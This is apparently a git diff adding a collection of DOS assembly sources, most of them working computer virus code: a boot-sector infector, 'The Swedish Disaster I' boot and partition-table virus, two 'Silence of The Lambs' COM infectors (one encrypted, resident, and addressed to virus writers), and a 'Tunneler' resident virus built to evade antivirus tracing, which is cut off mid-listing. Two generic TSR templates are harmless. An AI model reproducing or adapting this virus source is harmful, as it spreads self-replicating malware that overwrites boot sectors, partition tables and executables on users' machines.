Int21 + push cs + pop es + call hook_int + +salida13: + pop es + pop ds + pop si + pop di + pop cx + pop bx + pop ax + +sale13: + db 0EAh +Int13 dw 0,0 + +infeXt13: + push bx cx dx di si es + mov si,3 +otro1: + mov ah,0 + int 13h + xor dx,dx + call leer_uno + jnc yeah + dec si + jz exit + jmp otro1 +yeah: + mov ax,word ptr cs:boot_buf+3 + cmp ax,id + je exit + +hacelo: + call calcula_floppy ;<- calcular sector + mov cs:sec_tr,cx + mov dx,100h + mov cs:drv_hd,dx + xor bx,bx + mov al,4 + call poner_uno2 + jc exit + push cs + pop ds + mov cx,Larboot + mov di,offset re_boot + mov si,offset boot_buf + lodsb + cmp al,0EBh + jne ponerlo + xor ax,ax + lodsb + inc si + mov [si],id + add si,ax + add di,5 + +ponerlo: + dec si + xchg di,si + rep movsb + mov ah,0 + mov dl,0 + int 13h + jc exit + xor dh,dh + call poner_uno + jc exit + +exit: + pop es si di dx cx bx + ret + +leer_uno: + push cs + pop es + xor cx,cx + inc cx + mov ax,0201h + mov bx,offset boot_buf +int13real: + pushf + call dword ptr cs:Int13 ;int 13h + ret + +poner_uno: + mov bx,offset boot_buf + xor cx,cx + inc cx + mov al,1 +poner_uno2: + mov ah,3 + push cs + pop es + call int13real + ret + +calcula_floppy: + mov ax,word ptr cs:boot_buf + 13h + cwd + mov cx,word ptr cs:boot_buf + 18h + push cx + div cx + mov cx,word ptr cs:boot_buf + 1Ah + div cx + dec ax + xchg ah,al + pop cx + mov ch,ah + sub cx,3 + ret + +HD: + push ax bx cx dx di si + mov dx,80h + call leer_uno + jc exit_hd + mov ax,word ptr cs:boot_buf+3 + cmp ax,id + je exit_hd + mov cl,12 + xor bx,bx + mov al,4 + call poner_uno2 + mov cs:sec_tr,cx + mov cs:drv_hd,0080h + mov di,offset boot_buf + mov si,offset re_boot + push cs + pop ds + mov cx,LarBoot + rep movsb + call poner_uno +exit_hd: + + pop si di dx cx bx ax + ret + + db '[Dedicado eternamente a YANiL]' +FinVir label byte + +Cuenta2 label byte +rellenito db (1023 - (Cuenta2 - ComVir))+ 513 dup ('A') + +boot_buf db 128 dup('BooT') + +Hnd_buf dw 0 + +ExeHeader db 10h DUP('TT') + +FinVirMem label byte + +Host: + mov ah, 09h + mov dx, offset TeXto + push cs + pop ds + int 21h + mov ax, 4C00h + int 21h + +TeXto db "-", 13, 10,'$' + +code ends +end diff --git a/t/TSD1.ASM b/t/TSD1.ASM new file mode 100755 index 0000000..10cef8b --- /dev/null +++ b/t/TSD1.ASM @@ -0,0 +1,260 @@ +; Senast ndrad 891213. +; +; Lgger gamla bootsectorn p sida 1, spr 0, sector 3. +; sida 0, spr 0, sector 7 p HD. + + +Code Segment + Assume cs:Code + Org 0000h + +Main Proc Far + db 0EAh,05h,00h,0C0h,07h + + jmp Near Ptr Init ; Hoppa frbi variabler och nya int13h + + +; Variabler + +Old13h dd 0 ; Gamla vectorn till diskfunktionerna. + +TmpVec dd 0 ; Temporr vec. vid ndring av int 13. + +BootPek dw 0003h,0100h + +; Slut p variabler + + + +Int13h Proc Near + push ds + push ax + push bx + + cmp dl,00h ; Drive A + jne Exit + + cmp ah,02h + jb Exit + cmp ah,04h + ja Exit ; Kolla s att func. 2-4 + + sub ax,ax + mov ds,ax + mov bx,043Fh ; Motor status byte. + test Byte Ptr [bx],01h ; Testa om motorn i A: r p.. + jnz Exit ; Nej,hoppa till gamla int 13h + + call Smitta + +Exit: pop bx + pop ax + pop ds + jmp [Old13h] + + +Smitta Proc Near + push cx + push dx + push si + push di + push es + + push cs + pop es + push cs + pop ds + + mov si,0004h ; Max antal frsk. + +Retry: mov ax,0201h ; Ls en sector + mov bx,0200h ; Ls hit. + mov cx,0001h ; Spr 0 Sector 1 + sub dx,dx ; Sida 0 Drive 0 + pushf + call [Old13h] ; Ls in booten. + + jnc OK + + dec si + jz Slut ; Hoppa ur om fel. + jmp Retry ; Frsk max 4 gnger. + + +OK: mov si,0200h + sub di,di + cld + lodsw + cmp ax,[di] + jne L2 + lodsw + cmp ax,[di+2] + jne L2 + jmp Slut + +L2: mov ax,0301h ; Skriv en sector. + mov bx,0200h + mov cx,0003h ; Spr 0 Sector 3 + mov dx,0100h ; Sida 1 Drive 0 + pushf + call [Old13h] ; Flytta boot sectorn. + + mov ax,0301h + sub bx,bx + mov cx,0001h + sub dx,dx + pushf + call [Old13h] ; Skriv ner viruset till booten. + +Slut: pop es + pop di + pop si + pop dx + pop cx + ret +Smitta Endp +Int13h Endp + +Init: sub ax,ax + mov ds,ax ; Nollar ds fr att ndra vect. + + cli + mov ss,ax + mov sp,7C00h + sti ; Stter upp en ny stack. + + push cs + pop es + mov di,Offset Old13h + mov si,004Ch + mov cx,0004h + cld + rep movsb ; Flytta int 13h vectorn. + + mov bx,0413h + mov ax,[bx] ; Minnesstorleken till ax. + dec ax + dec ax + mov [bx],ax ; Reservera plats fr viruset. + + mov cl,06h + shl ax,cl + mov es,ax ; Omvandla till segment addres. + + mov Word Ptr TmpVec,Offset Int13h + mov Word Ptr TmpVec+2,es + push es + sub ax,ax + mov es,ax + push cs + pop ds + mov si,Offset TmpVec + mov di,004Ch + mov cx,0004h + rep movsb + pop es + + sub si,si + mov di,si + mov cx,0200h ; Hela viruset + lite till. + rep movsb + + mov ax,Offset Here + push es + push ax + ret ; Hoppa till viruset. + +Here: sub ax,ax + int 13h ; terstll driven + + sub ax,ax + mov es,ax + mov ax,0201h ; Ls en sector funk. + mov bx,7C00h ; Hit laddas booten normalt. + mov cx,BootPek + mov dx,BootPek+2 + int 13h + + push cs + pop es + mov ax,0201h + mov bx,0200h + mov cx,0001h + mov dx,0080h + int 13h ; Ls in partions tabellen. + jc Over + push cs + pop ds + mov si,0200h + sub di,di + lodsw + cmp ax,[di] ; Kolla om den r smittad. + jne HdInf + lodsw + cmp ax,[di+2] + jne HdInf + +Over: mov BootPek,0003h + mov BootPek+2,0100h + sub bx,bx + push bx + mov bx,7C00h + push bx + ret ; Kr den gamla booten. + +HdInf: mov BootPek,0007h + mov BootPek+2,0080h + + mov ax,0301h + mov bx,0200h + mov cx,0007h + mov dx,0080h + int 13h ; Flytta orgin. part.tabellen. + jc Over + + push cs + pop ds + push cs + pop es + mov si,03BEh + mov di,01BEh + mov cx,0042h + cld + rep movsb ; Kopiera part. data till viruset. + + mov ax,0301h + sub bx,bx + mov cx,0001h + mov dx,0080h + int 13h ; Skriv viruset till part. tabellen. + + + sub ax,ax + mov es,ax ; Kolla om msg:et ska skrivas ut. + test Byte Ptr es:[046Ch],07h + jnz HdInf1 + + mov si,Offset Txt ; Detta utfrs bara om man bootar frn + cld ; diskett. +Foo1: lodsb + cmp al,00h + je HdInf1 + mov ah,0Eh + sub bx,bx + int 10h + jmp Foo1 + +HdInf1: jmp Over + + +Slutet Label Byte ; Anvnds fr att veta var slutet r. + + +Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h + + +Main Endp +Code Ends + End + + \ No newline at end of file diff --git a/t/TSOTL-A.ASM b/t/TSOTL-A.ASM new file mode 100755 index 0000000..286edf1 --- /dev/null +++ b/t/TSOTL-A.ASM @@ -0,0 +1,166 @@ +; Silence of The Lambs v1.0 +; (c) The Chronomancer of Demoralized Youth 1992 +; +; First version : Thursday 27th of Febuary - 01:50 CET. +; + +org 100h +jmp short dummy1 +db 'DY' +dummy1: + mov cx,(100h-80h)/2 ;save command line on stack + mov si,80h + save_parm: + push [si] + inc si + inc si + loop save_parm + + mov ah,4Eh + xor cx,cx + mov dx,offset file + int 21h + jc nomore +again: + cmp byte [9Eh],0FAh + jae more + call infect +more: + mov ah,4Fh + int 21h + jnc again +nomore: + mov cx,(100h-80h)/2 + mov si,0FEh +rest_parm: + pop [si] + dec si + dec si + loop rest_parm + + mov bx,0000h +eof equ $-2 + jmp bx + +file db '*.COM',0 + +infect: + mov bx,cs + mov si,cs + dec si + mov ds,si + cmp byte[0],'Z' + je ok_mark + jmp back2 +ok_mark: + sub word [0003h],pgfsize + jnc ok_mark2 + jmp back +ok_mark2: + mov ax,[0012h] + sub ax,pgfsize + push ax + + mov ds,bx + mov ax,4301h + xor cx,cx + mov dx,80h+1Eh + int 21h + + mov ax,3D02h + int 21h + xchg bx,ax + + pop ds + push ds + mov cx,total + xor dx,dx + mov ah,3Fh + int 21h + + cmp byte [0],'M' ;exe ? + je close + cmp byte [0],'Z' ;exe ? + je close + cmp word [2],'YD' ;allready infected? + je close + + xor cx,cx + xor dx,dx + push cx + push dx + mov ax,4202h + int 21h + + add ax,total+100h + mov cs:word [00FEh],ax + + mov ah,40h + mov cx,total + xor dx,dx + int 21h + + push cs + pop ds + + mov ah,40h + mov cx,applen + mov dx,offset append + int 21h + + mov ax,4200h + pop dx + pop cx + int 21h + + push [eof] + mov ax,word [00FEh] + mov [eof],ax + + mov ah,40h + mov dx,100h + mov cx,total + int 21h + + pop [eof] +close: + mov ah,3Eh + int 21h +back: + pop ds ;(mov ds,si) + add word [0003h],pgfsize +back2: + push cs + pop ds + ret + +append: +call $+3 +pop si +sub si,3+total +mov di,100h +mov cx,total +rep movsb +mov ax,100h +push ax +ret +applen equ $-offset append + +total equ $-100h ;size +pgfsize equ ($-100h)/16+2 ;paragraphs needed + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/t/TSOTL-B.ASM b/t/TSOTL-B.ASM new file mode 100755 index 0000000..6204adf --- /dev/null +++ b/t/TSOTL-B.ASM @@ -0,0 +1,322 @@ +; Silence of The Lambs v2.0 +; (c) -=<: DRE/\MER :>=- of Demoralized Youth 1992 +; +; THIS FILE IS FOR EDUCATION PURPOSES ONLY! +; PERMISSION IS GRANTED TO SPREAD THE SOURCE +; TO VIRUS WRITERS *ONLY*. PLEASE DO NOT MAKE +; ANY MODIFYCATIONS, UNLESS YOU ALSO INCLUDE +; THE ORIGINAL SOURCE. +; +; Assemble With A86 +; + +org 100h +jmp short dummy1 +db 'DY' +dummy1: + mov cx,length + mov si,offset enc_start + mov ah,0 +enc_key equ $-1 +dummy2: + sub byte [si],ah + inc si + add ah,0 +enc_add equ $-1 + loop dummy2 +enc_start: + mov ah,2Dh + mov ch,0FFh + mov dx,cx + int 21h + cmp al,0FFh + jne nomore + + mov ax,cs + dec ax + mov ds,ax + cmp byte [0],'Z' + jne nomore + + mov ax,word [3] + sub ax,pgfsize + jc nomore + sub word [3],pgfsize + sub word [12h],pgfsize + + mov es,word [12h] + mov si,110h + mov di,100h + mov cx,total + cld + rep movsb + + xor ax,ax + mov ds,ax + mov si,84h + mov di,old21 + movsw + movsw + + cli + mov word [84h+2],es + mov word [84h],offset ni21 + sti + +nomore: + push cs + push cs + pop es + pop ds + + mov bx,0000h ;return control to the +eof equ $-2 ;end user + jmp bx + +xclose: jmp close + +infect: + push cs + pop ds + push cs + pop es + + db 0E4h,40h + mov byte [enc_key],al + + mov ax,4300h ;use CHMOD to get file attr + xor dx,dx + int 21h + + mov [0F0h],cx ;store attr in PSP + + mov ax,4301h ;clear file attr with CHMOD + xor cx,cx + int 21h + + mov ax,3D02h ;open file for read / write + int 21h + xchg bx,ax + lahf + push ax + mov ax,5700h ;get file date & time + int 21h + + mov [0F2h],cx + mov [0F4h],dx + pop ax + sahf + jc xclose + + mov ah,3Fh ;read from file + mov cx,total + mov dx,old + int 21h + + cmp byte [old+0],'M' ;exe MZ ? + je xclose + cmp byte [old+0],'Z' ;exe ZM ? + je xclose + cmp word [old+2],'YD' ;allready infected? + je xclose + + mov ax,4202h ;lseek to EOF + xor cx,cx + xor dx,dx + int 21h + + cmp ah,0FAh + jae xclose + cmp ah,4 + jb xclose + + add ax,total+100h + mov word [00F6h],ax + + mov ah,40h ;write to EOF + mov cx,total + mov dx,old + +push cx +mov al,byte [enc_key] +mov si,dx +enc_app: +xor byte [si],al +inc si +loop enc_app +pop cx + + int 21h + + mov ah,40h ;write to EOF + mov cx,applen + mov dx,offset append + int 21h + + mov ax,4200h ;lseek to beginning of file + xor cx,cx + xor dx,dx + int 21h + + push [eof] + mov ax,word [00F6h] + mov [eof],ax + + mov ah,byte [enc_key] + db 0E4h,40h + mov byte [enc_add],al + mov dl,al + + mov si,100h + mov di,old + + cld + mov cx,offset enc_start-100h + rep movsb + + mov cx,length +enc: + lodsb + add al,ah + stosb + add ah,dl + loop enc + + mov ah,40h ;write viral code + mov dx,old + mov cx,total + int 21h + + pop [eof] +close: + mov ax,5701h + mov cx,[00F2h] + mov dx,[00F4h] + int 21h + + mov ah,3Eh ;close file + int 21h + + mov ax,4301h + mov cx,[00F0h] + xor dx,dx + int 21h + ret + +append: + call $+3 ;replace org bytes + pop si + sub si,3+total + mov di,100h + mov cx,total + mov ah,byte [enc_key] +append_enc: + lodsb + xor al,ah + stosb + loop append_enc + + mov ax,100h ;return IP to 100h when done + push ax + + sub ax,ax ;zero regs + xor bx,bx + and cx,cx + sub dx,dx + xor si,si + and di,di + sub bp,bp + + ret +applen equ $-offset append + +ni21: + pushf + cmp ah,2Dh + jne Not_Time + cmp ch,0FFh + jne Not_Time + cmp ch,dh + jne Not_time + + mov Al,0 + popf + iret +Not_Time: + cld + push ax + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + +; cmp ah,41h +; jne Not_Parse +; mov ah,3Ch +; cli +; add sp,18 +; sti +; popf +; jmp old21-1 + +Not_Parse: + cmp ax,4B00h + jne Not_Exec + + mov si,dx + push cs + pop es + xor di,di + mov cx,128 + rep movsb + + mov ax,3524h + int 21h + push es + push bx + + push cs + pop ds + + mov ax,2524h + mov dx,offset ni24 + int 21h + + call infect + + pop dx + pop ds + mov ax,2524h + int 21h + +Not_Exec: + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp far 0000:0000 +old21 equ $-4 + +ni24: mov al,0 + iret + +db 'The Silence Of The Lambs!$' + +total equ $-100h ;size +pgfsize equ (($*2)/16)+2 +length equ $-offset enc_start + +old equ $ + + + \ No newline at end of file diff --git a/t/TSR.ASM b/t/TSR.ASM new file mode 100755 index 0000000..5c4cd1e --- /dev/null +++ b/t/TSR.ASM @@ -0,0 +1,307 @@ + +; NOTE : This template is for .COM files only do not use for .EXE files!! + + +; +; +; +; Copyright 1986 by Dana Nowell - All rights reserved +; +; HISTORY: +; Version Date Name Description +; 1.0 11/10/86 dn first cut +; 1.01 11/21/86 dn Fixed memory allocation bug +; Added installation message +; + + +title TSR Template + + + + NULL equ 00h + BELL equ 07h ; bell character + BACKSPACE equ 08h ; backspace character + TAB equ 09h ; tab character + LF equ 0ah ; line feed + F_FEED equ 0ch ; form feed + CR equ 0dh ; carriage return + EOF equ 1ah ; ctrl z ( end of file ) + SPACE equ ' ' ; ascii space character + QUOTE equ '"' + +SIGNATURE1 equ 6144h ; used for already +SIGNATURE2 equ 616eh ; resident check + +DOS_INT equ 21h ; DOS function interrupt +DISP_CHAR equ 02h +GET_KEY equ 08h +DOS_SCR_MSG equ 09h +DOS_SET_INT equ 25h +DOS_RESIDENT equ 31h +DOS_GET_INT equ 35h +DOS_TERMINATE equ 4ch +DOS_STRING_TERM equ '$' + +; Interrupt vectors used + +HOOK_INT equ 1ch ; interrupt to be hooked ( timer tick now ) + +;------------------------------------------------------------------------------ +; +; MACRO SECTION +; +;------------------------------------------------------------------------------ + +Version_msg macro + jmp short copyright_end + +copyright_msg db CR, LF + db 'TSR Shell - Version 1.01', CR, LF + db 'Copyright 1986, Dana Nowell ', CR, LF, CR, LF + db 'May be distributed without license', CR, LF, '$' +copyright_end: + Msg copyright_msg + endm + + +Msg macro ptr + + push dx + push ax + + lea dx, ptr + mov ah, 09h + int 21h + + pop ax + pop dx + + endm + + + + + +com segment para public 'code' + assume cs:com, ds:com, es:com + +;------------------------------------------------------------------------------ +; +; note: The PSP occurs at the beginning of the code segment +; for all programs. In COM files the code seg = data seg +; +;------------------------------------------------------------------------------ + + org 0 + +psp_start dw ? ; int 20h - possibly a block for unresolved + ; externals during link ? + +mem_size dw ? ; size of available memory in paragraphs +filler db ? ; reserved usually zero + +dos_call db ? ; call + dd ? ; address of dos function handler + +term_vector dd ? ; address of dos terminate routine +break_vector dd ? ; address of dos break routine +error_vector dd ? ; address of dos error routine +dos_reserved db 2 dup(?); reserved by dos +dos_handles db 20 dup(?) ; file handle array +environ_ptr dw ? ; seg of dos environment ( offset = 0 ) +dos_work db 34 dup(?) ; dos work area + +int_21h db ? ; int + db ? ; 21h + db ? ; retf ( return far ) + +reserved dw ? ; reserved by dos +fcb1_ext db 7 dup(?) ; fcb # 1 extension +fcb1 db 9 dup(?) ; fcb #1 +fcb2_ext db 7 dup(?) ; fcb # 2 extension +fcb2 db 20 dup(?) ; fcb #2 + +; +; disk transfer area ( dta ) and parameter block occupy the same space +; +; +;dta db 128 dup(?) ; disk transfer area + + + +param_len db ? ; length of parameter string ( excludes CR ) +parameters db 127 dup(?) ; parameters + +;------------------------------------------------------------------------------ +; +; Note on standard fcb structure : +; +; The standard FCB is larger than the size reserved in the PSP if you +; intend to use to FCB data from the PSP move it to a different location. +; +; +; STANDARD STRUCTURE OF A FILE CONTROL BLOCK +; +; +; extension : +; offset length description +; -7 1 extension active flag ( 0ffh = active ) +; -6 5 normally unused should be zeros +; -1 1 file attribute when extension is active +; 1 . . . . . . . 1 read-only +; 2 . . . . . . 1 . hidden +; 4 . . . . . 1 . . system +; 8 . . . . 1 . . . volume label +; 16 . . . 1 . . . . subdirectory +; 32 . . 1 . . . . . archive +; 64 . 1 . . . . . . unused +; 128 1 . . . . . . . unused +; +; fcb : +; offset length description +; 0 1 special drive number ( 1 byte ) +; 0 = default +; 1 = a: +; 2 = b: etc +; 1 8 filename or device name +; 9 3 filename extension +; 12 2 current block number +; 14 2 record size +; 16 4 file size in bytes ( dos dir entry at open ) +; 20 2 file date ( bit coded as in dir ) +; 22 10 dos work area +; 32 1 current record number ( 0 - 127 ) +; 33 4 random record number +; +;------------------------------------------------------------------------------ + + + + org 100h ; required for COM file ( skips PSP ) + + +start: + jmp install ; install the demon + +;------------------------------------------------------------------- +; +; resident data structures go here +; +;------------------------------------------------------------------- + + old_int dd 0 ; original value of hooked interrupt + resident1 dw SIGNATURE1 + resident2 dw SIGNATURE2 + + +;------------------------------------------------------------------- +; +; new interrupt starts here +; +;------------------------------------------------------------------- + +new_int: + pushf + + sti ; must turn INT on if we're going to use them + +;------------------------------------------------------------------- +; +; be well behaved and pass control to original int +; +;------------------------------------------------------------------- + + popf + pushf + call dword ptr cs:old_int ; do old interrupt + + iret ; bye bye + +;------------------------------------------------------------------------------ +; +; INSTALLATION DATA STRUCTURES AND CODE GO HERE +; +; WARNING WARNING WARNING - this area does not exist after installation +; +;------------------------------------------------------------------------------ + +last_resident_byte db 0 ; last resident byte +resident_flag dw 0 ; am I already resident ? ( 0 = NO ) + +install_msg db CR, LF, 'Installation Complete', CR, LF, '$' + +already_installed_msg db CR, LF + db 'Already Installed - Installation Aborted' + db CR, LF, '$' + +install proc near + + Version_msg + + + mov al, HOOK_INT ; int to hook + mov ah, DOS_GET_INT ; get int(AL) vector ==> ES+BX + int DOS_INT ; do the int + lea si, old_int ; where to put old timer interrupt vector + mov [si], bx ; save the offset and segment + mov 2[si], es ; ( es also used in check resident ) + + call check_resident ; am I already resident ? + + cmp resident_flag, 0 + je not_resident + + Msg already_installed_msg + + mov ah, DOS_TERMINATE ; terminate & stay resident + mov al, 1 ; return value is 1 (already installed) + int DOS_INT ; bye-bye + +not_resident: + mov dx, offset new_int ; offset of new timer interrupt + mov al, HOOK_INT ; timer tick + mov ah, DOS_SET_INT ; set int(AL) vector from DS+DX + int DOS_INT ; do the int + +; program terminate and stay resident + + Msg install_msg ; Display the installation message + + mov dx, offset last_resident_byte + + mov cl, 4 ; convert to paragraphs required to + shr dx, cl ; remain resident ( divide by 16 ) + inc dx ; allow for any remainder of division + + mov ah, DOS_RESIDENT ; terminate & stay resident + mov al, 0 ; return value is 0 (good return) + int DOS_INT ; bye-bye + +install endp + + +; +; Check resident procedure +; requires es register to contain the segment address of +; the current location for the interrupt being hooked. +; use the DOS function 35h to obtain this information. +; + +check_resident proc near + + cmp es:resident1, SIGNATURE1 + jne not_res + cmp es:resident2, SIGNATURE2 + jne not_res + + mov resident_flag, 1 + +not_res: + ret + +check_resident endp + +com ends + end start + \ No newline at end of file diff --git a/t/TSRES.ASM b/t/TSRES.ASM new file mode 100755 index 0000000..6a7125f --- /dev/null +++ b/t/TSRES.ASM @@ -0,0 +1,296 @@ +;************************************************************* +;** Terminate-but-Stay-Resident ** +;** Original from the "Programmer's Journal" ** +;** Modified by Alroger L. Gomes Jr. ** +;** Any comments/question send message for "Roger Gomes" ** +;** on the PDSE BBS (408)735-7190. Have Fun! ** +;************************************************************* +; Insert you program on line # 157. + +Delay_Count Equ 36 ;36 ticks=approx. 2 seconds + +; Locations of BIOS Data needed by the resident program + +Bios_Data Segment at 40h + Org 17h + Kbd_Status dw ? + Org 6Ch + Low_Timer dw ? +Bios_Data EndS + + +Code Segment + Assume Cs:Code, Ds:Code, Es:Nothing, Ss:Nothing + Org 100h +Entry_Point: + Jmp Install + + Hot_Keys dw 01010B + This_Time dw ? + Trig_Time dw ? + Dos_Busy Label dword + Dos_Busy_Off dw ? + Dos_Busy_Seg dw ? + Criterr_Flag db ? + +Already8 db 0 +MenuON db 0 + + +;*** Replacement for Int 24h - critical Dos Error *** +Diverted_Int24: + Mov Cs:Criterr_Flag,1 + Xor Al,Al + Iret + + Int_24_Vect Label dword + Int_24_Off dw ? + Int_24_Seg dw ? + +;***** ID CODE ***** +Res_ID1 dw 'Al' +Res_ID2 dw 'ro' +Res_ID3 dw 'ge' +;******************* + +;*** Replacement for Int 8 - Timer hardware Interrupt *** +Diverted_Int8: + Pushf + Call_Int8 db 09Ah + Int_8_Vect Label dword + Int_8_Off dw ? + Int_8_Seg dw ? + + Cmp Cs:MenuOn,0 + Je MenuNOT + Iret +MenuNOT: + Mov Cs:MenuOn,1 + Push Ds + Push Bx + Lds Bx,Cs:Dos_Busy + Cmp Byte Ptr [Bx],0 + Pop Bx + Pop Ds + Mov Cs:MenuOn,0 + Jz Get_Bios_Data +Dos_is_Busy: + Iret + +;*** Replacement for Int 28 - Generated by Dos, esp. during keyboard I/O *** +Diverted_Int28: + Pushf + Call_Int28 db 09Ah + Int_28_Vec Label dword + Int_28_Off dw ? + Int_28_Seg dw ? + Cmp Cs:MenuOn,0 + Je Get_Bios_Data + Iret + +Get_Bios_Data: + Mov Cs:MenuOn,1 + Sti + Push Ds + Push Ax + Mov Ax,Bios_Data + Mov Ds,Ax + Assume Ds:Bios_Data + Mov Ax,Low_Timer + Mov Cs:This_time,Ax + Mov Ax,Kbd_Status + Push Cs + Pop Ds + Assume Ds:Code +Chk_Keys: + And Ax,Hot_Keys + Cmp Ax,Hot_Keys + Jne Back_to_Applic +Chk_Timer: + Mov Ax,This_Time + Cmp Ax,Trig_Time + Jb Time_is_Right + Sub Ax,Trig_Time + Sub Ax,Delay_Count + Jnc Time_is_Right + +Back_to_Applic: + Pop Ax + Pop Ds + Mov Cs:MenuOn,0 + Iret + +Time_is_Right: + Mov Ax,This_Time + Mov Trig_Time,Ax + Pop Ax + Pop Ds + +;*************************************************************************** +; This is the Start of the application-dependent resident code + +Start_Program: + Mov Cs:MenuOn,1 + Push Ax + Push Bx + Push Cx + Push Dx + Push Si + Push Di + Push Bp + Push Ds + Push Es + + Push Cs + Pop Ds + + Mov Ax,3524h + Int 21h + Mov Int_24_Off,Bx + Mov Int_24_Seg,Es + Mov Ax,2524h + Mov Dx,Offset Diverted_Int24 + Int 21h + +;**************************************************************************** + +; Insert your program here. + +;**************************************************************************** + +Restore_Int24: + Lds Dx,Int_24_Vect + Mov Ax,2524h + Int 21h + Pop Es + Pop Ds + Pop Bp + Pop Di + Pop Si + Pop Dx + Pop Cx + Pop Bx + Pop Ax + Mov Cs:MenuOn,0 + Mov Cs:Already8,0 + Iret + +; This is the end off the applicant-dependent resident code + + End_of_Res Label word + +;*************************************************************************** +; Installation + +Install: + Mov Ax,Cs + Mov Ds,Ax + Mov Es,Ax + + Mov Ah,9 + Mov Dx,OffSet CopyRight + Int 21h + +; Make sure that it is at least Dos 2.00 + Mov Ah,30h + Int 21h + Or Al,Al + Jnz Chk_Vectors + Mov Dx,Offset BadDos_Msg + Mov Ah,9 + Int 21h + Int 20h + +; See if resident code is already Installed in Memory + +Chk_Vectors: + Mov Ax,Cs + Mov Ds,Ax + Mov Es,Ax + + Mov Ax,3508h + Int 21h + Cmp Word Ptr [Es:Bx-6],'Al' + Jne Not_Installed1 + Cmp Word Ptr [Es:Bx-4],'ro' + Jne Not_Installed1 + Cmp Word Ptr [Es:Bx-2],'ge' + Jne Not_Installed1 + + Mov Dx,Offset No_Install_Msg + Mov Ah,9 + Int 21h + Mov Ax,4C01h + Int 21h + +Not_Installed1: + Mov Ax,3577h + Int 21h + Mov Ax,Es + Cmp Ax,'Al' + Jne Not_Installed + Cmp Bx,'ro' + Jne Not_Installed + + Mov Dx,Offset No_Install_Msg + Mov Ah,9 + Int 21h + Mov Ax,4C01h + Int 21h + +Not_Installed: + Mov Ax,Cs + Mov Ds,Ax + Mov Es,Ax + + Push Es + Mov Ax,Cs + Mov Ds,Ax + Mov Es,Ax + + Mov Ah,34h + Int 21h + Mov Dos_Busy_Off,Bx + Mov Dos_Busy_Seg,Es + + Mov Ax,3508h + Int 21h + Mov Int_8_Off,Bx + Mov Int_8_Seg,Es + + Mov Ax,Cs + Mov Es,Ax + Mov Ds,Ax + + Mov Ax,2508h + Mov Dx,Offset Diverted_Int8 + Int 21h + + Mov Ax,'Al' + Mov Ds,Ax + Mov Dx,'ro' + Mov Ax,2577h + Int 21h + Mov Ax,Cs + Mov Ds,Ax + + Mov Ax,3528h + Int 21h + Mov Int_28_Off,Bx + Mov Int_28_Seg,Es + Mov Ax,2528h + Mov Dx,Offset Diverted_Int28 + Int 21h + Pop Es + +; Terminate and stay resident + Mov Dx,Offset Install + Int 27h + +No_Install_Msg db 'xxxx is already in memory!',10,13,10,13,'$' +BadDos_Msg db 'DOS 2.0 or greater needed!',10,13,10,13,'$' +CopyRight db 'xxxx by ?????? - yyyy $' + +Code EndS + End Entry_Point + diff --git a/t/TUNNELER.ASM b/t/TUNNELER.ASM new file mode 100755 index 0000000..e651395 --- /dev/null +++ b/t/TUNNELER.ASM @@ -0,0 +1,281 @@ +; Tunneler - written by Conzouler/IR 1995 +; +; Based on the Rather Small Virus (refer to RSV.ASM for details). +; Tunneling and intersegmentary hooking added. +; Thanks to TU for supplying ideas and concepts and +; further credits goes to Satan's little helper! + +; Features: +; memory resident +; com-append on execute +; no tb-flags (of course) +; tunnels to find dos entry point +; chains in first in the int21 chain +; + +.model tiny +.code + org 100h + +psize equ (offset last - offset entry) / 10h + 2 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 ; Initial jump +start: + call gores + +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h ; Installation check + int 21h + jnc restore + + mov ah, 4Ah ; Get size of memory block + mov bx, 0FFFFh + int 21h + mov ah, 4Ah ; Change size of memory + sub bx, psize+1 ; Make space for virus + int 21h + mov ah, 48h ; Allocate memory + mov bx, psize + int 21h + sub ax, 10h ; Compensate org 100h + mov es, ax + mov di, 103h + mov si, sp ; Get entry point + mov si, [si] + sub si, 3 ; Subtract first call + mov cx, size-3 + rep movsb ; Copy virus to new memory + push es + pop ds + inc byte ptr ds:[0F1h] ; Change block owner + + push cs + call gotun ; Jump to tunneler + +restore: + mov di, 100h ; Offset to program entry + push cs ; Set es and ds to psp + pop ds + push ds + pop es + pop si ; Get entry point + push di ; Prepare jump to 100h + movsw ; Restore program entry point + movsb + retn ; Jump to 100h + + +gotun: + push ds ; Jump to tunneler in + mov ax, offset tunneler ; new memory + push ax + retf + +tunneler: + mov ah,52h ; Get list of lists + int 21h + mov ax, es:[bx-2] ; Get first MCB + mov fmcb, ax + + mov ax, 3521h ; Get int21 + int 21h + mov i21o, bx + mov i21s, es + + mov al, 01h ; Save int01 + int 21h + push bx ; on stack + push es + + mov ah, 25h ; Set int01 + mov dx, offset vec01 + int 21h + + pushf ; Set trap flag + pop ax + or ah,1 + push ax + popf + + mov ah,0Bh ; Issue dos function + pushf ; Simulate interrupt + call dword ptr i21o ; for tracing + + pop ds + pop dx + + pushf ; Get flags + pop ax + test ah, 1 ; Check trap flag + pushf + and ah, 0FEh ; Turn off trap flag + push ax + popf + + mov ax, 2501h ; Reset int01 + int 21h + + push cs + pop ds + + popf + jnz chained + + mov ah, 25h + mov dx, offset vec21 + int 21h + +chained: + retf + + +vec01: + mov cs:savedax, ax ; Save registers + mov cs:savedsi, si + mov cs:savedcx, cx + pop si ; Get ip in si + pop ax ; cs in ax + pop cx ; flags in cx + push ds + mov ds, ax + cmp word ptr [si], 05EBh ; Check if tbav + jne chaincheck + cmp byte ptr [si+2], 0EAh ; Check if tbav + jne chaincheck + inc si ; Skip tbav + inc si +chaincheck: + cmp byte ptr [si], 09Ah ; Immediate interseg? + je chainis + cmp byte ptr [si], 0EAh ; Immediate interseg? + je chainis + cmp word ptr [si], 0FF2Eh ; opc prefix=cs? + jne traceexit + cmp byte ptr [si+2], 01Eh ; Direct interseg? + je chainds + cmp byte ptr [si+2], 02Eh ; Direct interseg? + je chainds +traceexit: + pop ds + push cx + push ax + push si + db 0B8h +savedax dw ? + db 0BEh +savedsi dw ? + db 0B9h +savedcx dw ? + iret + +chainis: + push si + inc si + jmp chain +chainds: + push si + mov si, si[3] +chain: + db 81h,7Ch,02h ; cmp ds:si[2], fmcb +fmcb dw ? ; See if jump is to dos + jnb chainexit + push ax + mov ax, si[0] ; Get offset address + mov cs:i21o, ax + mov 